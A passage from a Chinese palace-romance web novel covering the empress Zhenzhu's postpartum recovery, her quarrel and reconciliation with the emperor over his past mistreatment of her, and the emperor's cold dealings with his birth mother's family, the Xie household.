当然,太后私下的评价则是:“本来就不是金贵种,只是金贵命格而已。和他爹一样是野狗似的,丢哪都能活,不要父母多操心,这是来报恩的孩子。”
直到这时她才去整理自己的衣裳,其上还沾着孩子的口水,一片潋滟的水光,她不好意思在他面前擦拭,只囫囵拢好了衣襟。
媜珠执意要如此照顾孩子,周奉疆也不好再说她什么了。
他瞥她一眼,缓缓挑开她寝衣的衣襟,
“方才是不是还没有好好擦一擦?哥哥帮你,好不好?”
产后女子最虚弱又需要精心照顾的一段时日里,媜珠被他呵护得无微不至,一如她怀孕时一般,没有受过半分苛待和委屈。
他并未鸟尽弓藏、得鱼忘筌,没有因为她生下孩子、肚子没有“利用”的价值了,就对她不如从前上心了,甚至待她还格外怜惜宠溺起来。
她产后身子还有流血,他不好再歇在她枕畔陪着她,坐月子时只能一个人独眠,然每天晚上他都会守在她榻边陪她说话、哄着她,直到她彻底熟睡后他才悄声离开,去偏殿歇着。
他还知道她夜里通常什么时候会醒来,是要喝水或是其他,每次媜珠夜里迷迷糊糊地睁开眼时,他早已如鬼魅般站在床榻边等着她,只要她睁开眼后喘一口气,看着她的神色,他就知道她是饿了还是渴了。
这样过了数日后,其实媜珠心里多少有些过意不去,某日夜里,他仿佛又掐着点来喂她喝了蜜水,媜珠喝完了水,于静谧夜色中轻声对他开了口:
“我知道哥哥很疼爱我,可这些事有宫人们可以为我做,并非定要哥哥来才行。不过是些琐碎小事而已,为妾一人之身,扰了哥哥安枕,妨碍哥哥白日里处理国事时的精力,是妾之大错矣。”
她温婉的容颜在暖黄又昏暗的烛灯下似蒙上一层朦胧的雾气一般,鸾宫美人,袅袅动人,宛转蛾眉,艳影亦婀娜。
这是他记忆中她最常见的姿态,也是他最喜欢的她的样子,静谧的,温顺的,会乖巧地陪在他身边,让他心安。
他转身将手中的茶盏搁置在一旁,回过头来和她说:
“之前我告诉你不必亲自那样辛苦的照顾戎儿,戎儿也有乳母宫人们照料,你当时是怎么告诉我的?”
媜珠下意识地回答:“他是我的亲生骨肉,是我的第一个孩子,于我而言何其重要,做母亲的当然愿意多亲力亲为一些了,为了他,再辛苦也是值得的。”
他看着她的笑意极宠溺,“我看你,就像你看戎儿一样,你也像我身上的一块皮肉骨血一般,为了你,做什么也都是值得的。”
媜珠愣住,心头一震。
良久,她说:“这不一样。”
“有什么不一样?我也是看着你长大的,我从未缺席过你人生中的每一件大事。甚至……至多十几年,戎儿长大之后会有自己的人生,他的臣僚、心腹、妻妾、儿女,可我只有你,他会渐渐地离开我们,而我永远不会离开你,只要我还活着,我就不会离开你半寸。”
媜珠知道他说的是真的。
分娩后她所做的第三个梦里,她梦见过他所说的他们的“前世”。她是爱过他的,她也知道他们的人生只有彼此,儿女孙辈固然是血亲,可是儿孙也有自己的日子要过,不会永远陪着他们一辈子。梦里的那个前世,在他死后,她又独活四年,四年郁郁寡欢,难见笑颜。
又想一想,其实就算现在她把太子戎留在身边亲自抚育,她又能抚育他几年呢?
他是太子,他有那么重的担子,顶多从他五岁开始就会有专门的太傅老师们为他教学授课,文武功夫,治国理政,民生律法,国史上下,琳琅满目的课程他一生也学不完。
从那时起,孩子就会有自己的事情要忙,不会再娇娇痴痴地整日围着他们转。
宫里的孩子还都早熟,等他十三四岁之后,坐在这个位子上,他也会逐渐提拔培养自己的心腹、亲信、近臣,再过几年谈婚论嫁,他还会有自己的妻室,再大些,他也做父亲了,他还有自己的儿女呢。
他的人生一定会慢慢和父母分开的,就像他大了要搬入太子居所东宫,宫墙隔开了他和他的父母,他们的生活也是这样的。
他们还是血亲,但他们终会分开。
母亲不会永远陪着她,孩子不会永远陪着她,只有周奉疆会。
只有她和周奉疆会像两株抵死缠绵的藤蔓一样,永远纠缠在一起,根系相通,至死方休。
不,也不是“至死方休”,即便死了,这两株藤蔓也还是缠绕在一起的,死后会变得枯萎乃至僵硬,可即便到死了也不能把对方完完整整地从自己身上剥落下来。
媜珠莞尔,神色有些怅然,
“有时连我自己也不明白你到底爱不爱我。若我说你不爱我,那我也的确受用了你许多的好处,过往二十多年的兄妹情意也做不得假。可每每我觉得你爱我时,这份爱里又像是掺了沙的饭食一样,叫我难以下咽,腹内绞痛。你从前对我做的那些事情,我没有忘记,难道你已经忘记了吗?”
她拢了拢自己披在身上的衣裳,遥遥望向殿内她的那方梳妆台,神情哀婉,
“就在那里,来来回回反反复复你做过多少件羞辱我的事?你说过多少羞辱我的话?你都忘记了吗?”
“我告诉你,我不喜欢,我不喜欢你那样对我。我和你说了无数遍了你听明白了吗?!那不是什么夫妻情趣闺房之乐,哪怕我迎合过,我也是被迫的,我根本就不喜欢那样!”
“周奉疆,你至今没觉得你做错了。”
他连忙安抚住她:“都是哥哥的错。你不喜欢,哥哥以后也绝不会再强迫你。我知道媜媜受委屈了。”
媜珠别过头去,“我不信。”
她话中还有几分赌气的意思,周奉疆一遍遍哄她,
“你不喜欢,我以后绝不会再强迫你半下。我以后会好好待你。”
他又说,“其实哥哥本来也不想那样对你的,我并没有这样的癖好,只是那时候你并不爱我,我只是想用这种方式逼你和我亲近而已。你记得的,你梦中的前世,我们恩恩爱爱地过完了一世,在我得到你的爱的时候,我是不是就没有这样对你过?”
媜珠幽幽地看着他,“所以你觉得还是我的错?”
他叹息,“是我的错。是我今生没有本事让你爱我,而后又用了那些手段对待你,是我无能。我以后绝不会再那样伤了你的,都是我的错。”
“媜媜,我们都为人父母了,也有了自己的孩子了,我们往后的日子还长,好好地过下去,让我往后好好弥补你,可以吗?”
媜珠又沉默了。
她心中始终有一根刺,就像他心里也有,但人终究不能为了这根细刺就把自己的心脏剔除出去,只能慢慢地消解它,像河蚌那样,用自己最柔软的蚌肉把吞入壳中的沙砾日复一日地磨成珍珠。
时日久了,再看到这颗磨得圆润细腻的珍珠时,也就释然了。
昏昏浓夜中,他忽然沉默地撩起自己的衣袍在她床榻边跪下,仰首望着她,用力握着她的双手,和她十指相扣,
“兖国公主……公主娘娘,臣向娘娘请罪,求娘娘息怒,可好?”
长兄如父,既是君,又是父是兄是夫,只有媜珠跪过他,——在床榻上他要求她跪着的时候,而且也无数次屈膝敛衽向他行礼过。
但这是他第一次屈膝向她下跪赔罪。
媜珠以袖掩面,叫人看不真切她的神情。
这一刻她有太多话想说,但最后什么都没说,只是悄无声息地俯身靠到了他的身上,而他也稳稳地抱住了她。
君王松柏木,妾身菟丝花。浮生有终日,缠绵无尽时。
第106章
她还是需要他的爱的,就像她依恋自己的母亲赵太后那样。
或许正是拿捏住了媜珠这一点,周奉疆常常会借着“长兄如父”的名义,以她父亲的身份自居来教训她。
她和赵太后这对母女之间就没有半分龃龉吗?
那也未必。
要是她打死了不肯给周奉疆生孩子,一心一意就是要往宫外跑,赵太后绝不会像如今这般待她万般慈爱,只会恼怒不已地指着她的鼻子骂她不中用。
当日和施氏姐妹逃跑又被周奉疆抓了回来,回到长安宫里后,媜珠和母亲大吵了一架,母女之间字字诛心,那些隔阂也都是真的,永远抹不去的。
如果她是一只大海蚌,她壳子里也免不得要含上许多沙石,这些沙石都被她湿软的蚌肉死死含住,或许很难被吐出去,她在岁月的无边长河中慢慢咀嚼,日夜回味。
有一颗沙砾叫周奉疆,也有一颗名为母亲。
但她也再没有去计较过这些和母亲闹出来的不快了。
因为她需要母亲,需要母亲的爱,她离不开母亲,所以她惟有将这些忍下。
和周奉疆在一起更是如此。
因为离不开他,所以她很长一段时间里都把对着他的怨言咽下去了,仿佛再也没提过一般。
她知道自己有几分恃宠生娇的嫌疑。
她敢重提和周奉疆的旧怨,但却绝不敢再这么和母亲闹。
若是她质问母亲说,如果你女儿没有给你生出做太子的皇孙,你还会爱她吗?
赵太后铁定能气得要扒她的皮。
然而周奉疆会迁就她,会和她卑微地道歉。——当然,这本就是他应做的。
兄长和母亲灌进她壳中的沙石是可以被磨成珍珠的,最终这些沙石一切棱角都将变得圆润无害,璀璨艳丽。
她也被他们伤过,但她更被他们珍爱过,呵护过。
她爱他们。很爱。
对母亲有孺慕眷恋之爱,对周奉疆也有男女之情。
她爱他。其实她还是爱他的。
但有一些不行,比如那些名为兄弟手足、叔父、堂兄弟们的沙石,磨了一生都还是粗粝无用的石子,她选择提前张开蚌壳,努力把他们吐出去,不再受他们的折磨。
照顾媜珠的王医丞和一众嬷嬷们都说,女子产后一大要紧的事儿是要能在月子里睡个整眠,除却自己个夜里渴了饿了的睁睁眼起来,旁的什么事都不能扰了她,否则这身子是难养好的。
是以周奉疆也不让媜珠夜里照顾孩子,太子戎到了晚上,不论是要吃还是要睡,都是给乳母们抱去偏殿看管着的。
但这也未必是个万全的好法子,因为媜珠执意要养着奶水喂养孩子,到了夜里,孩子吃不了了,她奶水充沛,多少会涨奶难受,夜里不得安眠。
戎儿夜里饿了吃奶时,他母亲在这头正睡着;等他母亲涨奶了想起孩子了,他又吃饱睡下了,他母亲又舍不得把他吵醒。
嬷嬷和小太子的乳母们都教了媜珠法子,说可以帮她挤出来就好了,她们也会,而且手法精熟。起先媜珠叫她们帮她弄过,但仅那么一次之后她就再也不肯了。
一则是她真的没受过被除了周奉疆之外的人这样触碰身体,总是难堪的,就算是照顾她那么久的佩芝亲自动手,她都不大习惯;
二则是嬷嬷们的手法再精熟,她还是觉得痛,痛得难忍,泪珠都在眼眶里打着转儿。
所以到头来……反而又便宜了周奉疆那个老畜生了。
一天之内,四下无人之时,重重床帘帐幔之内,她被他推着躺在柔软的床褥上,他总会眼含笑意地解开她的衣襟几次,缓缓触碰到她盈软雪艳的肌肤,看着她哀怨的眼神,耳畔是她难忍的轻哼低吟,柔声安抚她说,他会帮她的。
媜珠在这件事上只能依赖他,——好像她也不止在这件事上依赖他,所有的事情她都要依赖他。
然而她每每又总觉得这老畜生实则就是趁人之危,居心不良,人面兽心,占尽了她的便宜。
周奉疆对她的指控并不认账。
某次结束后,他意犹未尽地从她身上起了身,漫不经心地捡起绢帕拭去唇边的一丝乳白水痕,
“媜媜,哥哥从来没有让你这样辛苦地喂养孩子的,对不对?”
他给她系上衣襟,拢好衣裳,
“当时我劝你别喂他,你何等义正辞严,说你身为人母本该拥有哺乳孩儿的权力,哥哥不敢违逆你,只好由着你折腾。现在你受了苦,又要哥哥来帮你解决,哥哥本没有指责你半句,好言好语地伺候你,
——你是不是又在心里骂我是老畜生?”
媜珠躺在榻上瞪圆了眼睛看着他,说不出一句话来。
他不轻不重地说了她几句,“你也是大人了,对兄长要知敬重,在心里也要敬重,知道吗?”
媜珠冷哼:“在心里敬重又怎够?妾还要给兄长找个好风水的地方供奉起来,日夜上香跪拜。”
常人敢对皇帝说这话是要掉全族脑袋的,但从她嘴里说出来,哪怕她骂他老畜生,他也觉得可爱。
闻言,周奉疆也不恼,俯身靠近她,双手撑在她身侧,又腾出一只手来缓缓从她胸前的那道深深沟壑中划过,
“不必额外寻了,这里就是个好地方,若能死在这里头,做鬼我也甘心。死了还能被媜媜供奉着,亦是死而无憾。”
媜珠拍掉他的手,侧身躺过去,不再理他。
她坐月子里还有一桩烦心的事,便是不能沐浴洗发,甚至连洗脸都不能,只能拿着干帕子一点点擦一擦。
媜珠是那样喜洁的人,熬了三五日就有些撑不住,之后的日子里也多是在强撑着,只能靠着勤换衣裳来麻痹自己,否则实在太过难熬。
这种难熬源于她时常会疑神疑鬼地觉得自己身上有味道,觉得自己头发臭了,身上难闻了,处处都不干净了。
越到后来,连她自己都不肯伸手去碰自己的头发了,梳妆台前更是再没去坐过,索性眼不见心不烦,明知自己灰头土脸,没有好容色,更不想揽镜自照了。
赵太后和嬷嬷们会哄她说,女人都是这样过来的,忍过这阵子就一切大吉,没什么过不去的,何况眼下天儿还不算炎热,并没有那么难熬。
这话对媜珠不大管用,解不了她心头之苦。
但周奉疆不是这么做的。
他至今仍能面不改色地对她下口,常常会在喂她吃过汤膳之后,俯身过来,虔诚而温柔地亲一亲她的发,亲吻她的脸颊和唇瓣,然后百般柔情地告诉她说,
——媜媜妹妹倾国倾城一如曾经,永远是最美丽的样子,姣花照水,月中婵娟。
现在变成媜珠分不清他这话里有几分真心了,但不论如何,女人在坐月子里心情不好的时候,被丈夫这样哄着,是谁都会开心的。
她虽一面在心里觉得他这人实在太过荤素不忌了些,口味重得吓人,她都这样了他还能下得了这个嘴,但另一面又格外受用被他这样哄着。
连宫娥嬷嬷们都能看得出来,每次皇帝这样哄过皇后之后,皇后总会心情颇好,笑颜盈盈,久不消散。
被他多哄了几次,反正她也就把他的话都充作真的了,某日心血来潮,也终于坐到了梳妆台前,对镜自照,执起一只凤鸟衔穗金枝步摇,微微比划后插入云鬓中,顾盼生辉。
过了片刻,佩芝过来瞧见她坐月子里难得在打扮自己,还戴了一副亭阁式样的耳环,手镯戒指也是齐全的,挑了件宫装的月华织金裙穿上,只这么稍稍一妆扮后,果真天姿国色一如往昔,看不出半分生过孩子的样子,身段也没有走样半分。
她也赞叹:“是女为悦己者容呢,多赖陛下哄着娘娘回心转意了,叫娘娘能一展笑颜,这阵子人也高兴了不少。”
皇帝不遗余力地在她低落时各种夸赞她,哄着她,绞尽脑汁地从诗文古籍里刨出新词来称颂她的美丽,什么皓齿星眸、螓首蛾眉、仙姿玉色、雪肤花貌、杨柳宫眉……
把她哄好了,她也愿意回赠他她精心妆扮的艳色容颜。
所以是女为悦己者容么?
总之媜珠也不曾否认。
不过这天晚膳,在见到周奉疆时,媜珠犹有件似乎更重要些的事情说给他听。
她忽略了周奉疆看向她的炙热目光,将手中一只小小的婴儿长命银锁递给他看,
“郑夫人费了很大的力气,是求了旁人家的女眷,这才将这物当做贺礼夹带着送到我这里来的。”
谢家的官职门楣还不够能送贺礼给宫中的,多有这样的人家,要是得了宝贝或者想送些什么东西讨好宫中的主子贵人,只能先再去求了别的官宦显贵人家,叫人家把他们的东西一道夹带着送入宫来,兴许就能给娘娘主子们看见了。
郑夫人为了送这把小银锁,想必的确费了不小的功夫,周奉疆当日留给她的十箱黄金,今时今日亦不知还剩多少了。
见到这枚银锁时,皇帝愣了愣,脸色很快便冷淡了下来,满是冷漠与不屑。
“她拿了金的宝的为她的儿子处处打点,官场里打点,娶妻也打点,留给我的儿子,就只剩下这么点银子?拿去赏下人都嫌寒酸,还拿来糟践我的儿子。”
媜珠收回了手,垂眸一笑,
“郑夫人既送了它来,定有它的道理。也许她本以为这东西能叫陛下高兴的。妾猜一猜……陛下小时候是不是就很想要这样一枚小小的长命银锁?”
周奉疆顿了顿,神色淡漠如初,半分不变,
“你说朕小时候,指的是朕多小的时候?六岁、七岁还算小吗?那时候朕可不稀罕这些东西,朕只想要你。”
媜珠也不接这话,“到底是一片心意,我今日给戎儿戴了试一试,还正合适呢,戎儿戴着也好看的,就当是个添福气的东西,给戎儿留着吧。”
周奉疆没再说话,最后是这顿饭吃到一半时,他忽然一下将筷子扔在桌上,冷笑连连,突兀地开了口,
“她是想着该问我要些什么了吧?是谢家这阵子家宅不宁了?该给她儿子求官求职了?”
谢家近来的确不安宁。
原为去年谢秉清在鸿胪寺里得了个上峰的青眼,这上峰将他引荐给了长安城里的一位老将军,这老将军族中有几个亲兄弟的女儿正待嫁着,因自家是行伍人家,就想把女儿嫁给温文尔雅知书达理的读书人。
人家也说了,门第低些不打紧,毕竟他们是武人家,想嫁给显贵的簪缨世族也费劲,何苦贴那冷屁股,找个门第低些的正好,女孩儿嫁过去也不受闲气。
谢秉清的上峰引他见的那位将军,正是邓元益邓大将军。
邓大将军有个一母同胞的亲弟弟家的亲侄女儿,已经二十岁了,有些恨嫁,正想许配人家。
阴差阳错地被人这么引见了谢秉清,邓大将军左右打听一番,觉得谢家家风尚可,请侄女儿邓七娘在屏风后悄悄把谢秉清一望,邓七娘亦满心欢喜,这桩姻亲也就这么成了。
自己的儿子娶了有开国之功的邓大将军的侄女,做母亲的郑夫人自也是眉飞色舞,以为儿子就要飞黄腾达了,咬咬牙狠狠心,又取了剩下的三四箱黄金出来,叫人置办了体面的聘礼和酒席,总算风风光光做成了婆婆。
可婚后谢家上下反而渐渐回过味来了,对这新妇邓七娘是连连抱怨,叫苦不迭。
新妇一罪,不容人也。新妇和公婆相处得不快,侍奉婆婆也不算周到,最关键是容不得家里的小叔子和两个小姑子,都嫌他们是累赘。
原先谢家两个女儿一人一间院子,还算宽敞体面,有京中官宦人家的做派了,可邓娘子就想着把两个小姑子赶去一间院子里住,再遣人来打通她和丈夫婚房院落的围墙,把自己的院子扩一扩,好舒展舒展拳脚。
谢大娘和她吵起来,她又讥讽起谢大娘高龄未嫁,说她还待在娘家是丢人,早晚要嫁出去的,还留着她的院子做什么。
如此种种,自然累得谢家上下怨声载道了。
新妇二罪,于丈夫仕途无助力也。谢家愿意娶邓将军的侄女,当然是为了叫谢秉清的官运亨通,能更上一层楼。
可娶了邓娘子后他们才发现,邓家是武将,这个岳家几乎管不了也不愿意管谢秉清这个文人在鸿胪寺里的事情,更不能给他迁个好去处,当真不如不娶。
不仅如此,这邓娘子在邓家根本不算得宠,她自己的亲爹就是个酒肉混子,靠兄长养一辈子,而这位兄长邓元益自己的亲女儿就有八九个,女婿也有□□位,就算人家是大将军,可人家的亲女婿尚且帮衬不过来呢,哪有闲心管一个侄女婿?
单论侄女,他兄弟五六个,侄女少说还有十几二十个,这么多侄女婿,他要一个个帮么?
真是笑话。
不光在邓家不算得宠,在和邓家相当的武将圈子里,邓娘子也没什么闺中好友、人脉手腕,谢家还指望她能给小叔子小姑子们张罗张罗好亲事,她也是两手一摊无能为力。
邓家虽帮衬不了谢家什么,可但凡邓娘子不高兴了,一时有个头疼脑热的,倒少说有一群姊妹乌泱泱地来谢家看望,要为邓娘子撑腰做主,仿佛恨不得要把郑夫人这个婆婆都给打一顿似的。
——而且这些人多半还是空手来的,反而每每还要谢家搭上茶水糕点钱去招待。
这么一来,新婚不过几月,谢家就和新妇龃龉颇深,新妇亦蛾眉不肯让人,折腾得谢家上下鸡飞狗跳,苦得郑夫人常常私下以泪洗面,悔不当初。
也直到这时候,她才又想起宫里这个亲儿子了。
如今惟有这个亲儿子能帮帮她,救她于水火之中。
媜珠听罢周奉疆打听来的这些,也只是轻笑不语。
周奉疆问:“你不信?”
媜珠的语气半真半假,“妾曾经做了一个梦,梦里郑夫人……”
“梦里她做过你婆婆,并且对你这个儿媳十分喜爱,没叫你受过做儿媳的闲气,家里的弟妹也都听你的话,对你十分敬重,是不是?”
周奉疆不由失笑,“因为你性情温顺,很温顺,娴静淑婉,她对你没有怨言,更跳不出你的错处,自然和你亲如母女,疼爱非常了。”
媜珠也笑:“陛下这话,仿佛做女人的在婆媳之间争斗了千年,都是因为当媳妇的不好了。”
他叹气,“你想听实话?那是因为她的儿子没有我有用。上一世你嫁我时,李家父子已是北地霸主,不需要姻亲助力,她只图你这个人得我喜欢就行,而我又正巧当真喜欢你,这些种种已占了七分缘由。剩下三分是你自己的好处,如此加起来,你就是十全十美的李氏宗妇,阖家上下敬重你。”
对李伯骧妻子的期待,和对谢秉清妻子的期待,两世里的郑夫人是完全不同的。
李伯骧自己有用,他的妻子最重要的是漂亮美丽,要让他喜欢、让他高兴就行。
而谢秉清么——他的妻子肩上扛着整个谢家的前程。
媜珠又不满意,“陛下这话,仿佛做女人不论再好,只要嫁的男人不中用,就活该在婆家要受磋磨闲气了。妾在李家做媳妇时,贤淑温婉,体贴孝顺,生儿育女,做到这个份上,难道只能占三分好处吗?”
周奉疆欲辩,复欲言又止,最终无奈沉默了。
他只能请罪:“臣在娘娘面前失言,臣罪该万死。”
媜珠笑:“原来为人之臣这么憋屈呀,陛下平日训诫臣下时,您的臣下们是不是也这样屈辱呀?那您应做个好脾气的仁君,对臣民们宽忍些。”
第107章
不过说来说去,话头又回到了谢家身上。
这到底还是他的生母,他可以说郑夫人不好,媜珠自以为自己并不大合适开这个口。
郑夫人给她送了东西来,该告诉他的事情她也知会告诉了,他和她说谢家的事,她也同样静静地听着,给出两三句无关痛痒的回应便是。
媜珠正欲再说些什么,睡醒了的灿娘子倒是踮着脚尖竖着尾巴蹭到了桌脚下,先绕着媜珠的身子蹭了蹭,撒娇了一番,媜珠抚慰地摸了摸它。
周奉疆也抬手唤它过来,很显然它犹豫了许久,不过最终还是慢悠悠地过去了,围着周奉疆也转了几圈。
他们还是宠着灿娘子的,即便媜珠从有孕到生产,赵太后都来劝他们兄妹俩把灿娘子送去别处养,最后媜珠还是没理,照例将它养在殿内。
自然了,为了自己和腹中的孩子好,媜珠也还是叫宫人们常给灿娘子梳毛篦发,清理身体,而且定期以调制好的草木灰水为它沐浴,防止它身上生了跳蚤虱子之类的小虫儿。
媜珠抱着太子戎喂奶时,灿娘子常常趴在地上乖乖地守着她,也会馋馋地咂巴自己的嘴巴,两只猫爪不停地在地上踩按着。
周奉疆从柔软的猫腰处把灿娘子提了起来,搁在膝头,有一搭没一搭地给它顺毛,话却是对着媜珠说的:
“她送来的那只银锁,你要是喜欢,我叫银作局的人照着那个样子再给你打几个就是了,金的银的玉的都有。——至于她送来的那只,叫人原封不动地退回去。”
媜珠的面上犹带着轻柔的笑意,还是那样温柔款款,似一捧映着月色的秋水般柔和,
“到底是郑夫人的一片心意呢,陛下可以不管谢家的琐事,也没必要这样落了郑夫人的面子吧。陛下若想不欠她什么,叫人回一块更大些的银锭送给她就是了。”
周奉疆抚着灿娘子的动作一顿,抬眸瞥向媜珠:“你不心疼心疼我,怎么反而尽向着她说话?”
媜珠的笑意不减,“妾疑心陛下这会儿说的都是气话,所以不敢顺着陛下的话说,当然要试着劝劝陛下了。”
他冷哼:“我说什么气话了?”
媜珠慢声细语:“陛下若真的对郑夫人毫不在意,为何又对谢家的这些琐事了如指掌?妾猜,自然是陛下私下又去打听过了。”
她意指皇帝对生母尚存一丝割舍不去的情意。
周奉疆立时便有几分恼怒,这恼怒不是对着媜珠,而是想起了谢秉清。
“你以为朕是如何知道这些的?难道是朕家长里短地凑上去打听的?是她的好儿子谢秉清亲自上书告诉朕的!是他,求着朕赡养生母,是他,还敢和朕提什么兄弟情义!怎么,他还想做我们戎儿的皇叔吗?朕看他不只是要做皇叔,还想做兄终弟及的皇太弟呢!”
媜珠大惊,一下站了起来,鬓边的金步摇流苏也微微晃动。
“谢秉清……?他怎么会知道这些?”
其实他要知道这些也不难,媜珠生子后,皇帝几次率长安群臣祭祀祖宗神庙和天地神明,鸿胪寺作为长安九寺之一,官衙下的官员们也有参与祭祀之事的资格的。
而皇帝为显隆重,这一次又格外开恩,准许了一些低品级的官员参加,谢秉清亦位在其列。
他曾遥遥地见过皇帝一面。
恐怕也是那一面之后,谢秉清的内心受到了极大的震撼,回去之后,他问了母亲郑夫人什么?
郑夫人又迫不得已地和他吐露了什么实话?
这些周奉疆不用想也能猜到。
于是,隔了数日之后,这个蠢货便胆大包天、堂而皇之地这样上书给皇帝,向皇帝提起了他们共同的母亲,郑夫人。
他那封上书写的其实颇为情真意切,绝口不提自己想要些什么,反而来来回回说母亲郑夫人的过往有多么悲惨、一生吃了多少苦、受了多少罪,又说她多么思念自己的长子,多么想见一见自己新出生的小孙儿。
他又说,是他无能,娶了邓氏这样的悍妇,闹得家宅不宁,邓氏待母亲不好,母亲如今日夜以泪洗面,郁郁寡欢、黯然无神,连安安心心清清静静地端起碗吃一顿饭都不能。
兄长呢,您有四海之大,可否听弟弟我的一句恳求,给您和我的生母一方清净富贵之地,供她安度晚年?
若兄长能答应,弟弟不敢为自己求名利厚禄,只想以命来谢兄长的恩德。
周奉疆看到这封信时,被气得冷笑连连,又感慨好歹的确是自己一母同胞的弟弟,郑氏是如何养出这样不知死活、不识时务、不知高低的蠢货的?
他手都发抖了片刻,最终一言不发地烧掉了那封书信,一个字也没有回他。
于是,又过了几日,郑夫人那头又给媜珠送来了这只小银锁。
靠一个儿子谢秉清来哭丧还不够,现在这个当娘的也亲自上了?
所以,谢秉清说的那些话、想的那些事,郑氏也是应准的,对不对?
媜珠这下被吓得不轻,脸色也变了:
“拿着陛下的身世大做文章,还敢这样冠冕堂皇、无法无天地亲自闹到陛下跟前来,的确是不知死活。”
皇帝是郑夫人所生是事实,皇帝和他们是一母同胞的手足也是事实,但掂量掂量各自是几斤重的骨头,这话只有皇帝能说,他们不能说。
历来也不是没有这样的故事,某某皇帝的生母就是二婚后入的宫,生下天子之前还在宫外有过和旁人生的儿女。
等到这皇帝自己即位了,他要是愿意认、他要是不介意,他自然可以对自己一母同胞的手足们好,给他们荣华富贵。
可皇帝若是都不想认,这些人自己跳出来嚷嚷,这不都是找死的?
别说是皇帝了,就算是百姓人家,小舅子往姐夫家打秋风,女婿回老丈人家要钱,小姨子往大姐姐家蹭吃蹭喝,碰上这些人,做老百姓的也没有好脸色给他们看,还不准皇帝有脾气了吗?
——媜珠拿这话哄他,他眉头也渐渐舒展开了。
媜珠又问:“那陛下往后准备如何呢?就只将这枚银锁退给郑夫人?至于谢家人,可要敲打敲打?”
皇帝靠回椅背上,拍了拍灿娘子的背,灿娘子很识趣地顺着他的腿爬回了地上,一溜儿不知跑去何处玩去了。
“朕告诉了郑氏和谢家,往后长安城内但凡有半句流言蜚语传出来,不论是谁传的,朕都视为谢家所为,必诛谢家全族,叫他们好自为之。”
媜珠颔首称是:“陛下一再宽忍,恩泽厚重,谢家也该知足了。”
皇帝最后说,“朕不想惩治谢秉清,不是朕真的宽忍,是朕不想再施舍眼神到这些人身上去,朕惩处了他,恐怕郑氏觉得朕是嫉妒谢秉清得到她的偏爱一般。”
媜珠走到他身边,依偎到了他身上去,
“如此说来,陛下舍不得惩处亲弟弟,之前只要妾做了什么让陛下不快的事,陛下却屡屡惩罚妾,是因为陛下真的很在意妾吗?”
他埋首嗅了嗅她丰盈的胸前衣襟上隐隐散发出来的甜腻乳香,怒意消散后反而有些心猿意马起来,他喟叹一声,
“是啊,朕在意的是你,你不爱朕,朕心中恼怒,一时怒气上了头,就对你做下许多错事来了。若是能重来,朕当真舍不得如此待媜媜。”
媜珠轻轻拂去他身上粘着的一根猫毛,冷笑着推开了他,
“男人都是满口花言巧语,我敢说,你还真敢认,得寸进尺,厚颜无耻。”
皇帝将这枚银锁退回去后,郑夫人一家是何等反应,媜珠后来也不曾再知情了。
之后她有很长一段时间再没有听到这一家人的事情,只知道第二年太子戎满周岁时,谢秉清被吏部调了个外任,是外放去临川郡的,离长安极远。
这事儿并非周奉疆的手笔,他也不屑再对谢秉清做什么手脚。
只是谢秉清动身要去临川,恐怕一去数年再难回来,这个差事干完了,之后要被调去哪里也说不定,郑夫人为此极是伤心,一度病得起不来身。
周奉疆是无意间听说了这件事,派倪常善去给郑氏递了一句话说,
——宦海转徙无常、四海为家本是常事,你不必忧心自己不在长子跟前该如何养老,你要是想留在长安,我会养你终老,你要是想回扬州老家,我也照旧养你。
郑氏哭得满面憔悴,恨恨地看了倪常善一眼,伏在桌上说,陛下若有怒意,我愿以身受之,何必如此迁怒秉清?
周奉疆就再也没有搭理过她。
郑氏一家下了决心,全都随着谢秉清一路去了临川,离了长安城,从此之后再无消息。
她后来过得好吗?她安享晚年了吗?她的几个儿女后来婚嫁如何?谢秉清和邓氏这对新婚夫妇又相处得如何?
周奉疆不在意,也没有打听过。
这就是他们这对母子最终的结局。
他也不觉得感慨或是惶然,这结局不是他选择的,是郑氏从一开始就为他们写好了的。
他们这对母子本该如此,从郑氏当年抛下他开始,她就已经做好了准备永远都不再和他相见的。
他们母子就该永远不知道对方的结局与踪迹。
未央湖上能再有一面之缘,也是他强行逆天改命换来的了,若他像她最宠爱的谢秉清那样庸碌无为,他们根本连一面都不会再见。
他们在这乱世里成了母子,又分别,又重逢,最终还是走向分别。
太子戎的周岁还是后话,但他的满月倒是转瞬即至。
赵太后曾经夸下海口,说戎儿虽然出生时只有六斤多些,但等到满月时长得一定不输那些生下来八九斤的孩子。
媜珠掂了掂他,觉得这孩子现在还真是沉,白白胖胖的,眼睛乌溜溜地盯着自己看,给他称了称,说是已经有十斤了,长得还是真是快。
媜珠说了他一句沉,他忽地咧嘴朝媜珠笑了一下,将媜珠的心也给笑化了。
正巧这时灿娘子溜了过来,媜珠也叫人把灿娘子抱去称量称量,宫人们称完后说灿娘子有十五六斤了,是只不小的肥猫儿呢。
媜珠便叹息了一句:“戎儿才十斤,我抱着便觉得沉,怎么灿娘十五六斤了,我抱它时觉得也还好。”
太子戎的洗三和满月宴办得都极盛大体面,不过媜珠都不曾亲自去,赵太后说不准她外去受罪,要叫她坐够双满月。
佩芝和几个宫娥嬷嬷们恭维媜珠,说太子戎被抱出去后,三省的宰臣和宗亲们都说他生得好,岐嶷不凡,有龙凤之姿,天日之表。
媜珠笑了:“这些场面话也值得拿来告诉?他们不说皇帝的儿子好,难道谁敢说他坏?寻常百姓人家生了孩子的,也没人敢说不好的话呀。日后怎么样,不还是得看父母怎么教养的,不好好教养他,就算是皇子也……”
她言尽于此,不再说了。
佩芝便又夸赞说,“不怪外人都夸我们小太子,这么些人上去看过太子,太子一点也不畏生不惧人,谁来逗都不怕不哭,眼睛儿滴溜溜地盯着人看,看那些王公大臣们,倒和看猴儿们杂耍似的,拿他们都当笑话!胆子也大得很,又聪慧机敏,陛下去逗一逗他,他还会笑呢!”
她这句比喻一说出口,几个宫娥在旁噗嗤一声全都笑了出来。
这点媜珠倒是无法反驳,她只能说,“也许是随他父亲吧。”
媜珠这一日很高兴,因为在她的苦苦哀求之下,赵太后又问过王医丞和一干嬷嬷们的意见,看她身子恢复的很好,终于是准许她能沐浴了。
她被嬷嬷们服侍着好好地洗漱过了一番,将云雾般浓密的长发也细细梳理清洗过,整个人如脱胎换骨似的神清气爽,身上又涂抹了些香膏,浑身上下清清白白干干净净又芬芳馥郁,她自己少不得心情大好,戎儿睡着了,她便抱着灿娘子在榻上玩了许久。
周奉疆回来时身上不免又沾了份酒气,略带着几分醉意压到榻上去亲吻媜珠。
媜珠也不避了,就这么由着他亲。
